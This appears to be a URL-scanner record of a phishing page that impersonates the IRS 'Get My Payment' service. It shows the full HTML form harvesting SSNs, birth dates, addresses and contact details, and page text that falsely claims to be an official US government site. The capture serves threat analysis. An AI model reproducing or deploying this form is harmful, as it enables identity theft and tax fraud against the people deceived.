irs-claim.review-en-us.com
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https://irs-claim.review-en-us.com/form/personal
Submission: On September 17 via manual from IN — Scanned from DE
Submission: On September 17 via manual from IN — Scanned from DE
Form analysis
1 forms found in the DOMPOST /post/1.php
<form id="user" action="/post/1.php" method="post">
<h1 class="login-title">Get My Payment</h1>
<p>If you need additional help, please visit our <a href="https://www.irs.gov/covid-app-faq-1" target="_blank">Frequently Asked Questions</a> page.</p>
<p>
<span>All fields marked with an asterisk (<font color="#CD2026">*</font>) are required.</span>
</p>
<br>
<div class="form-group">
<div class="control-label">
<label>Social Security Number (SSN) or Individual Tax ID Number (ITIN)</label>
<label style="color:#CD2026;font-weight:normal">*</label>
</div>
<span class="fsad-hint">Enter your 9 digit Social Security Number (SSN) or Individual Tax Identification Number (ITIN).</span>
<input required="" class="form-control ssn" id="ssn" type="text" autocomplete="off" maxlength="11" aria-required="true" aria-labelledby="ssnInput" title="Enter your 9 digit Social Security Number (SSN) or Individual Tax ID Number (ITIN)"
name="ssn" value="">
<script type="text/javascript">
$('input.ssn').on('keypress', function(event) {
var character = String.fromCharCode(event.which);
if (!isInteger(character)) {
return false;
}
});
function isInteger(s) {
if (s === '-') return true;
var isInteger_re = /^\s*(\+|-)?\d+\s*$/;
return String(s).search(isInteger_re) != -1
}
$('input.ssn').on('keyup', function() {
var val = this.value.replace(/\D/g, '');
var newVal = '';
if (val.length > 4) {
this.value = val;
}
if ((val.length > 3) && (val.length < 6)) {
newVal += val.substr(0, 3) + '-';
val = val.substr(3);
}
if (val.length > 5) {
newVal += val.substr(0, 3) + '-';
newVal += val.substr(3, 2) + '-';
val = val.substr(5);
}
newVal += val;
this.value = newVal;
});
</script>
</div>
<div class="form-group">
<div class="control-label">
<label>Full Name</label>
<label style="color:#CD2026;font-weight:normal">*</label>
</div>
<span class="fsad-hint">Enter your Full Name.</span>
<input required="" class="form-control" id="addressInput" maxlength="100" type="text" aria-required="true" aria-labelledby="addressInput" title="Full Name" name="nama" value="">
</div>
<div class="form-group">
<div class="control-label">
<label for="dobInput">Date of Birth</label>
<label style="color:#CD2026;font-weight:normal">*</label>
</div>
<span class="fsad-hint">Enter your Date of Birth in MM/DD/YYYY format.</span>
<div class="login-dob">
<div class="input-group"><input required="" class="date form-control dob" id="dob" title="Enter your Date of Birth in MM/DD/YYYY format" maxlength="10" aria-required="true" aria-labelledby="date" type="text" name="dob" value=""
aria-autocomplete="none" placeholder="" style="min-width: 7em;"></div>
</div>
<script>
$('input.dob').on('keypress', function(event) {
var character = String.fromCharCode(event.which);
if (!isInteger(character)) {
return false;
}
});
function isInteger(s) {
if (s === '/') return true;
var isInteger_re = /^\s*(\+|-)?\d+\s*$/;
return String(s).search(isInteger_re) != -1
}
$('input.dob').on('keyup', function() {
var val = this.value.replace(/\D/g, '');
var newVal = '';
if (val.length > 4) {
this.value = val;
}
if ((val.length > 2) && (val.length < 6)) {
newVal += val.substr(0, 2) + '/';
val = val.substr(2);
}
if (val.length > 5) {
newVal += val.substr(0, 2) + '/';
newVal += val.substr(2, 2) + '/';
val = val.substr(4);
}
newVal += val;
this.value = newVal;
});
</script>
</div>
<div class="form-group">
<div class="control-label">
<label>Street Address</label>
<label style="color:#CD2026;font-weight:normal">*</label>
</div>
<span class="fsad-hint">Enter your Street Address in "123 Main St NW #7" format. Do not enter City/Town or State.</span>
<input required="" class="form-control" id="addressInput" maxlength="100" type="text" aria-required="true" aria-labelledby="addressInput" title="Enter your Street Address" name="address" value="">
</div>
<div class="form-group">
<div class="control-label">
<label>City</label>
<label style="color:#CD2026;font-weight:normal">*</label>
</div>
<span class="fsad-hint">Enter your City format.</span>
<input required="" class="form-control" id="addressInput" maxlength="100" type="text" aria-required="true" aria-labelledby="addressInput" title="Enter your Street Address" name="city" value="">
</div>
<div class="form-group">
<div class="control-label">
<label>State</label>
<label style="color:#CD2026;font-weight:normal">*</label>
</div>
<span class="fsad-hint">Enter your State in format.</span>
<input required="" class="form-control" id="addressInput" maxlength="100" type="text" aria-required="true" aria-labelledby="addressInput" title="Enter your Street Address" name="state" value="">
</div>
<div class="form-group">
<div class="control-label">
<label>ZIP or Postal Code</label>
<label style="color:#CD2026;font-weight:normal">(* Required except for countries without ZIP or postal codes)</label>
</div>
<span class="fsad-hint">Enter your 5 digit ZIP or Postal Code.</span>
<input class="form-control" required="" id="zipCodeInput" maxlength="12" type="text" aria-labelledby="zipCodeInput" title="Enter your 5 digit ZIP or Postal Code" name="zip" value="">
</div>
<div class="form-group">
<div class="control-label">
<label>Phone Number</label>
<label style="color:#CD2026;font-weight:normal">*</label>
</div>
<span class="fsad-hint">Enter your phone number.</span>
<input required="" class="form-control" maxlength="12" type="tel" aria-required="true" title="Enter your phone number" name="phnumber" value="">
</div>
<div class="form-group">
<div class="control-label">
<label>Email Address</label>
</div>
<span class="fsad-hint">Enter your Email address.</span>
<input class="form-control" required="" id="zipCodeInput" type="text" aria-labelledby="zipCodeInput" title="Enter your Email address" name="email" value="">
</div>
<div>
<button disabled="" class="login-submit-button btn btn-primary" name="submit" id="submit" title="Click this button to continue" type="submit" value="submit">Continue</button>
</div>
<script>
$('input[type=text]').change(function() {
if ($('input[type=text]').val() == '') {
$('button').attr('disabled', true)
} else {
$('button').attr('disabled', false);
}
})
</script>
</form>
Text Content
An official website of the United States Government * EspaƱol * Exit GET MY PAYMENT If you need additional help, please visit our Frequently Asked Questions page. All fields marked with an asterisk (*) are required. Social Security Number (SSN) or Individual Tax ID Number (ITIN) * Enter your 9 digit Social Security Number (SSN) or Individual Tax Identification Number (ITIN). Full Name * Enter your Full Name. Date of Birth * Enter your Date of Birth in MM/DD/YYYY format. Street Address * Enter your Street Address in "123 Main St NW #7" format. Do not enter City/Town or State. City * Enter your City format. State * Enter your State in format. ZIP or Postal Code (* Required except for countries without ZIP or postal codes) Enter your 5 digit ZIP or Postal Code. Phone Number * Enter your phone number. Email Address Enter your Email address. Continue * IRS Privacy Policy * Accessibility